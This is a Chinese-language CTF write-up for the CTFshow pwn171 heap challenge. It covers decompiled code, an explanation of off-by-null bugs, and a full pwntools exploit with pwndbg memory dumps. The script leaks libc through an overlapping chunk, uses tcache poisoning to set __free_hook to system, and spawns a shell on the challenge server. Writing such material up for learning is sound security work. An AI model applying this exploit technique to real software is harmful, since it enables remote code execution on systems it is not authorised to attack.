CTFshow-pwn171

[!NOTE]

off by null

  • 远程环境:Ubuntu 18.04

libc 版本为 2.27-3ubuntu1.6_amd64

保护全开

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn171
[*] '/home/niuyingying/ctf/pwn/pwn171'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled

程序主要流程如下

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  sub_AC0(a1, a2, a3);
  sub_B20();
  menu();
  while ( 1 )
  {
    while ( 1 )
    {
      __printf_chk(1, "Your Choice: ");
      v3 = sub_BD0();
      if ( v3 != 2 )
        break;
      Delete();
    }
    if ( v3 <= 2 )
    {
      if ( v3 != 1 )
        goto LABEL_10;
      Create();
    }
    else if ( v3 == 3 )
    {
      Show();
    }
    else
    {
      if ( v3 == 4 )
      {
        puts("See you next time!");
        exit(0);
      }
LABEL_10:
      puts("Invalid Choice!");
    }
  }
}
int Create()
{
  signed int v0; // eax
  __int64 v1; // rbx
  unsigned int v3; // eax
  _BYTE *v4; // rbp

  __printf_chk(1, "Index: ");
  v0 = sub_BD0();
  if ( (unsigned int)v0 > 0xF )
    return puts("Invalid index!");
  v1 = v0;
  if ( qword_2020A0[v0] )
    return puts("That index is already allocated!");
  __printf_chk(1, "Size: ");
  v3 = sub_BD0();
  dword_202060[v1] = v3;
  if ( v3 > 0x100 )
    return puts("Invalid size!");
  qword_2020A0[v1] = malloc(v3);
  __printf_chk(1, "Content: ");
  v4 = (_BYTE *)qword_2020A0[v1];
  v4[read(0, v4, dword_202060[v1])] = 0;
  return puts("Chunk created!");
}
int Delete()
{
  unsigned int v0; // eax
  __int64 v1; // rbx
  void *v2; // rdi

  __printf_chk(1, "Index: ");
  v0 = sub_BD0();
  if ( v0 > 0xF )
    return puts("Invalid index!");
  v1 = (int)v0;
  v2 = (void *)qword_2020A0[v0];
  if ( !v2 )
    return puts("That index is not allocated!");
  free(v2);
  qword_2020A0[v1] = 0;
  dword_202060[v1] = 0;
  return puts("Chunk deleted!");
}
int Show()
{
  unsigned int v0; // eax
  const char *v1; // rcx

  __printf_chk(1, "Index: ");
  v0 = sub_BD0();
  if ( v0 > 0xF )
    return puts("Invalid index!");
  v1 = (const char *)qword_2020A0[v0];
  if ( v1 )
    return __printf_chk(1, "Chunk's content: %.*s\n", dword_202060[v0], v1);
  else
    return puts("That index is not allocated!");
}

发现 Create() 函数中 read(0, ptr, size) ,当 read 正好读满 size 字节时,向下一字节写 \x00,即 off-by-null

这里补充一下 off-by-null 的相关知识点

常见 off-by-null 场景,本质都是“程序以为自己只写了合法长度的数据,但额外补了一个字符串结尾 \x00 ”,导致刚好把相邻内存的第一个字节清零:

  1. read(0, ptr, size); ptr[read_ret] = 0;
    如果 read 正好读满 size 字节,ptr[size] = 0 越界一字节

  2. recv(fd, ptr, size, 0); ptr[n] = '\0';
    read 一样,网络题里很常见

  3. fgets(ptr, size + 1, stdin) 但实际只分配了 size
    fgets 最多读 size 个字符并自动补 \0,如果参数给大了,就会多写一个 null

  4. strcpy / strcat / sprintf
    这些函数会自动写字符串结束符,如果目标缓冲区刚好只能放下内容本身,最后的 \0 就会越界

  5. scanf("%Ns", buf) 长度 N 配错
    %Ns 最多读 N 个非空白字符,然后再补一个 \0,所以缓冲区至少要 N+1

  6. 手动清尾:

    buf[len] = 0;
    

    如果 len 可控或等于缓冲区大小,就容易 off-by-null

  7. 循环边界写错:

    for (i = 0; i <= size; i++)
        buf[i] = 0;
    

    <= 导致多写一个 null

在 heap pwn 里,off-by-null 最经典的作用是改掉下一个 chunk 的 size 字段最低字节。glibc chunk 的 size 低位包含 PREV_INUSE 标志,如果把低字节清零,可能会把 PREV_INUSE 也清掉,让 malloc 误以为前一个 chunk 是 free 状态。配合伪造 prev_size,释放当前 chunk 时就会触发 backward consolidation :glibc 根据 prev_size 向前找到“前一个空闲 chunk ”,把它和当前 chunk 合并。攻击者可以让这个“前一个 chunk ”落在自己可控的位置,从而制造 overlap chunk ,之后就能泄露 libc 、改 tcache 链表,最终劫持 __free_hook / malloc_hook 等目标

同样的,这道题考虑的是先泄露 libc 地址,再劫持 free_hook ,脚本走两轮 off-by-null overlap:

  1. 填满 0xf0 tcache ,制造 unsorted chunk
  2. 利用 0x18 chunk 的 off-by-null 清掉后一个 chunk size 低字节,并伪造 prev_size = 0x120
  3. 释放后触发 backward consolidation ,得到 overlap
  4. show(8) 泄露 unsorted bin 的 main_arena 指针
  5. 第二轮 overlap 做 tcache poisoning ,把 __free_hook 写成 system
  6. 申请 chunk 写入 /bin/sh\x00,释放它触发 system("/bin/sh")
from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn171')
libc = ELF('/home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')

# io = process('./pwn171')
io = remote("pwn.challenge.ctf.show",28281)

# io = gdb.debug('./pwn170', gdbscript='set pagination off\nbreakrva 0x9A6\nc')

# io = gdb.debug(
#     './pwn171',
#     gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# breakrva 0xCEE
# breakrva 0xD7C
# breakrva 0xE11
# c
# '''
# )

def Create(i,size,text):
    io.recvuntil(b"Your Choice: ")
    io.sendline(b"1")
    io.recvuntil(b"Index: ")
    io.sendline(str(i).encode())
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content: ")
    io.send(text)
    io.recvuntil(b"Chunk created!\n")

def Delete(i):
    io.recvuntil(b"Your Choice: ")
    io.sendline(b"2")
    io.recvuntil(b"Index: ")
    io.sendline(str(i).encode())

def Show(i):
    io.recvuntil(b"Your Choice: ")
    io.sendline(b"3")
    io.recvuntil(b"Index: ")
    io.sendline(str(i).encode())

for i in range(7):
    Create(i,0xf0,b"\x00")
Create(7,0xf0,b"\x00")  # 0x5989e2dd4950
Create(8,0x18,b"\x00")  # 0x5989e2dd4a50
Create(9,0xf0,b"\x00")  # 0x5989e2dd4a70
Create(10,0x28,b"\x00") # 0x5989e2dd4b70

for i in range(7):
    Delete(i)
Delete(7)

# pwndbg> x/40gx 0x5989e2dd4950
# 0x5989e2dd4950: 0x0000000000000000      0x0000000000000101
# 0x5989e2dd4960: 0x0000770820bebca0      0x0000770820bebca0
# 0x5989e2dd4970: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4980: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4990: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd49a0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd49b0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd49c0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd49d0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd49e0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd49f0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4a00: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4a10: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4a20: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4a30: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4a40: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4a50: 0x0000000000000100      0x0000000000000020
# 0x5989e2dd4a60: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4a70: 0x0000000000000120      0x0000000000000100
# 0x5989e2dd4a80: 0x0000000000000000      0x0000000000000000
Delete(8)
Create(8,0x18,b"\x00" * 0x10 + p64(0x120))

# Free chunk (unsortedbin) | PREV_INUSE
# Addr: 0x5989e2dd4950
# Size: 0x220 (with flag bits: 0x221)
# fd: 0x770820bebca0
# bk: 0x770820bebca0
Delete(9)

# Allocated chunk | PREV_INUSE
# Addr: 0x5989e2dd4950
# Size: 0xe0 (with flag bits: 0xe1)
#
# Allocated chunk | PREV_INUSE
# Addr: 0x5989e2dd4a30
# Size: 0x20 (with flag bits: 0x21)
#
# Free chunk (unsortedbin) | PREV_INUSE
# Addr: 0x5989e2dd4a50
# Size: 0x120 (with flag bits: 0x121)
# fd: 0x770820bebca0
# bk: 0x770820bebca0
Create(7,0xd0,b"\x00")
Create(9,0x10,b"\x00")

Show(8)

# 0x770820bebca0 - 0x770820800000
io.recvuntil(b"Chunk's content: ")
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
libc_base = leak - 0x3ebca0
print(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

Delete(7)
Delete(9)

for i in range(7):
    Create(i,0xf0,b"\x00")
Create(7,0x10,b"\x00")  # 0x5989e2dd4a30
Create(9,0x10,b"\x00")  # 0x5989e2dd4a50
Create(11,0xf0,b"\x00") # 0x5989e2dd4a70
Create(12,0xf0,b"\x00") # 0x5989e2dd4ba0
Create(13,0x20,b"\x00") # 0x5989e2dd4ca0

for i in range(7):
    Delete(i)
Delete(11)

# pwndbg> x/40gx 0x5989e2dd4a70
# 0x5989e2dd4a70: 0x0000000000000120      0x0000000000000101
# 0x5989e2dd4a80: 0x0000770820bebca0      0x0000770820bebca0
# 0x5989e2dd4a90: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4aa0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4ab0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4ac0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4ad0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4ae0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4af0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b00: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b10: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b20: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b30: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b40: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b50: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b60: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b70: 0x0000000000000100      0x0000000000000030
# 0x5989e2dd4b80: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b90: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4ba0: 0x0000000000000130      0x0000000000000100
Delete(10)
Create(10,0x28,b"\x00" * 0x20 + p64(0x130))

# Free chunk (unsortedbin) | PREV_INUSE
# Addr: 0x5989e2dd4a70
# Size: 0x230 (with flag bits: 0x231)
# fd: 0x770820bebca0
# bk: 0x770820bebca0
Delete(10)
Delete(12)

# pwndbg> bins
# tcachebins
# 0x30 [  1]: 0x5989e2dd4b80 ◂— 0
# 0xe0 [  1]: 0x5989e2dd4960 ◂— 0
# 0x100 [  7]: 0x5989e2dd4260 —▸ 0x5989e2dd4360 —▸ 0x5989e2dd4460 —▸ 0x5989e2dd4560 —▸ 0x5989e2dd4660 —▸ 0x5989e2dd4760 —▸ 0x5989e2dd4860 ◂— 0
# fastbins
# empty
# unsortedbin
# all: 0x5989e2dd4a70 —▸ 0x770820bebca0 ◂— 0x5989e2dd4a70

# pwndbg> x/40gx 0x5989e2dd4a70
# 0x5989e2dd4a70: 0x0000000000000120      0x00000000000000a1
# 0x5989e2dd4a80: 0x0000770820be0000      0x0000770820bebca0
# 0x5989e2dd4a90: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4aa0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4ab0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4ac0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4ad0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4ae0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4af0: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b00: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b10: 0x0000000000000000      0x0000000000000081
# 0x5989e2dd4b20: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b30: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b40: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b50: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b60: 0x0000000000000000      0x0000000000000000
# 0x5989e2dd4b70: 0x0000000000000100      0x0000000000000030
# 0x5989e2dd4b80: 0x0000770820bed8e8      0x0000000000000000
# 0x5989e2dd4b90: 0x0000000000000000      0x0000000000000111
# 0x5989e2dd4ba0: 0x0000770820bebca0      0x0000770820bebca0
# pwndbg> bins
# tcachebins
# 0x30 [  1]: 0x5989e2dd4b80 —▸ 0x770820bed8e8 (__free_hook) ◂— ...
# 0xe0 [  1]: 0x5989e2dd4960 ◂— 0
# 0x100 [  7]: 0x5989e2dd4260 —▸ 0x5989e2dd4360 —▸ 0x5989e2dd4460 —▸ 0x5989e2dd4560 —▸ 0x5989e2dd4660 —▸ 0x5989e2dd4760 —▸ 0x5989e2dd4860 ◂— 0
# fastbins
# empty
# unsortedbin
# all: 0x5989e2dd4b90 —▸ 0x770820bebca0 ◂— 0x5989e2dd4b90
Create(0,0x90,b"\x00")
Create(1,0x70,b"\x00" * 0x50 + p64(0x100) + p64(0x30) + p64(free_hook))

Create(2,0x20,b"\x00")
Create(3,0x20,p64(system))
Create(4,0x10,b"/bin/sh\x00")
Delete(4)

io.interactive()
posted @ 2026-08-10 16:25  AurY1n  阅读(1)  评论(0)    收藏  举报